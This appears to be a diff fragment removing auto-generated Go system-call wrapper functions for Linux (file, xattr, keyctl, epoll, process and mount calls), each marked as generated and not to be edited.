--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
